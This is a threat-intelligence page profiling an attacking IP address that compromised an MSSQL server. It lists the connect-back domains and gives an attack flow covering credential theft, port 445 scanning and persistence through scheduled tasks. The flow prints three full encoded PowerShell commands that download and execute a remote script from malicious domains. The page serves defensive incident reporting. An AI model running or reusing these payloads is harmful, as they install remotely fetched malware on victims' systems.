IP Address: 103.30.151.126Previously Malicious

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IP Address:
103.30.151.126​
Previously Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker

Services Targeted

MSSQL

Tags

IDS - Attempted User Privilege Gain Execute MsSql Shell Command CMD MSSQL File Operation By CMD Outgoing Connection Unauthorized Credential Access Scheduled Task Creation PowerShell NetBIOS DNS Query Port 445 Scan Access Suspicious Domain Listening Successful MSSQL Login

Connect Back Servers

amazonaws.com t.zer2.com down.ackng.com api.ipify.org ctldl.windowsupdate.com t.amxny.com t.awcna.com

54.235.124.112 27.102.132.111 128.199.193.70

Basic Information

IP Address

103.30.151.126

Domain

-

ISP

China Unicom Beijing

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-04-07

Last seen in Guardicore Centra

2019-06-05

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List

Successful MSSQL Login

MSSQL executed 1 shell commands

Execute MsSql Shell Command

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

Process netsvcs Service Group started listening on ports: 65529

Listening

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: t.zer2.com 2 times

DNS Query Access Suspicious Domain Outgoing Connection

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe 6 times

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 27.102.132.111:80 2 times

Outgoing Connection

The command line cmd /c "set A=power& call %A%shell -ep bypass -e JABMAGUAbQBvAG4AXwBEAHUAYwBrAD0AJwByAG8AcABVAEYAcwAnADsAJAB5AD0AJwBoAHQAdABwADoALwAvAHQALgB6AGUAcgAyAC4AYwBvAG0ALwB2AC4AagBzACcAOwAkAHoAPQAkAHkAKwAnAHAAJwArACcAPwBtAHMAXwAyADAAMQA5ADAANQAzADEAJwA7ACQAbQA9ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHkAKQA7AFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AF0AOgA6AEMAcgBlAGEAdABlACgAKQAuAEMAbwBtAHAAdQB0AGUASABhAHMAaAAoACQAbQApAHwAZgBvAHIAZQBhAGMAaAB7ACQAcwArAD0AJABfAC4AVABvAFMAdAByAGkAbgBnACgAJwB4ADIAJwApAH0AOwBpAGYAKAAkAHMALQBlAHEAJwBkADgAMQAwADkAYwBlAGMAMABhADUAMQA3ADEAOQBiAGUANgBmADQAMQAxAGYANgA3AGIAMwBiADcAZQBjADEAJwApAHsASQBFAFgAKAAtAGoAbwBpAG4AWwBjAGgAYQByAFsAXQBdACQAbQApAH0A" was scheduled to run by modifying C:\Windows\System32\Tasks\ropUFs

The command line cmd /c "set A=power& call %A%shell -ep bypass -e JABMAGUAbQBvAG4AXwBEAHUAYwBrAD0AJwBkAFMATwBEAFEAXABKAE4AdQBwAGEAagAnADsAJAB5AD0AJwBoAHQAdABwADoALwAvAHQALgBhAHcAYwBuAGEALgBjAG8AbQAvAHYALgBqAHMAJwA7ACQAegA9ACQAeQArACcAcAAnACsAJwA/AG0AcwBfADIAMAAxADkAMAA1ADMAMQAnADsAJABtAD0AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAeQApADsAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ATQBEADUAXQA6ADoAQwByAGUAYQB0AGUAKAApAC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABtACkAfABmAG8AcgBlAGEAYwBoAHsAJABzACsAPQAkAF8ALgBUAG8AUwB0AHIAaQBuAGcAKAAnAHgAMgAnACkAfQA7AGkAZgAoACQAcwAtAGUAcQAnAGQAOAAxADAAOQBjAGUAYwAwAGEANQAxADcAMQA5AGIAZQA2AGYANAAxADEAZgA2ADcAYgAzAGIANwBlAGMAMQAnACkAewBJAEUAWAAoAC0AagBvAGkAbgBbAGMAaABhAHIAWwBdAF0AJABtACkAfQA=" was scheduled to run by modifying C:\Windows\System32\Tasks\dSODQ\JNupaj

The command line cmd /c "set A=power& call %A%shell -ep bypass -e JABMAGUAbQBvAG4AXwBEAHUAYwBrAD0AJwBNAGkAYwByAG8AUwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABCAEwAbABFAEEAdQBcAHkATwBNAGQAawBnAFcAdwB4ACcAOwAkAHkAPQAnAGgAdAB0AHAAOgAvAC8AdAAuAGEAbQB4AG4AeQAuAGMAbwBtAC8AdgAuAGoAcwAnADsAJAB6AD0AJAB5ACsAJwBwACcAKwAnAD8AbQBzAF8AMgAwADEAOQAwADUAMwAxACcAOwAkAG0APQAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB5ACkAOwBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBNAEQANQBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKAAkAG0AKQB8AGYAbwByAGUAYQBjAGgAewAkAHMAKwA9ACQAXwAuAFQAbwBTAHQAcgBpAG4AZwAoACcAeAAyACcAKQB9ADsAaQBmACgAJABzAC0AZQBxACcAZAA4ADEAMAA5AGMAZQBjADAAYQA1ADEANwAxADkAYgBlADYAZgA0ADEAMQBmADYANwBiADMAYgA3AGUAYwAxACcAKQB7AEkARQBYACgALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAkAG0AKQB9AA==" was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\BLlEAu\yOMdkgWwx

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: t.amxny.com

DNS Query Access Suspicious Domain

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: t.awcna.com

DNS Query Access Suspicious Domain

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: down.ackng.com 2 times

DNS Query Access Suspicious Domain Outgoing Connection

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 103.30.151.10:445, 103.30.151.11:445, 103.30.151.12:445, 103.30.151.13:445, 103.30.151.14:445, 103.30.151.15:445, 103.30.151.16:445, 103.30.151.17:445, 103.30.151.18:445, 103.30.151.19:445, 103.30.151.1:445, 103.30.151.20:445, 103.30.151.21:445, 103.30.151.22:445, 103.30.151.23:445, 103.30.151.24:445, 103.30.151.25:445, 103.30.151.26:445, 103.30.151.27:445, 103.30.151.28:445, 103.30.151.29:445, 103.30.151.2:445, 103.30.151.30:445, 103.30.151.31:445, 103.30.151.32:445, 103.30.151.33:445, 103.30.151.34:445, 103.30.151.35:445, 103.30.151.36:445, 103.30.151.37:445, 103.30.151.38:445, 103.30.151.39:445, 103.30.151.3:445, 103.30.151.4:445, 103.30.151.5:445, 103.30.151.6:445, 103.30.151.7:445, 103.30.151.8:445, 103.30.151.9:445, 128.199.193.70:80 and 54.235.124.112:443

Outgoing Connection

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 128.199.193.70:80

Outgoing Connection

c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to extract credentials from Windows Registry 69 times

Unauthorized Credential Access

Process c:\windows\system32\ipconfig.exe attempted to access suspicious domains: down.ackng.com, t.amxny.com, t.awcna.com and t.zer2.com

DNS Query Access Suspicious Domain

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access domains: api.ipify.org and ctldl.windowsupdate.com

DNS Query

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe scanned port 445 on 39 IP Addresses

Port 445 Scan

Connection was closed due to user inactivity

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IP Address: 103.30.151.126​Previously Malicious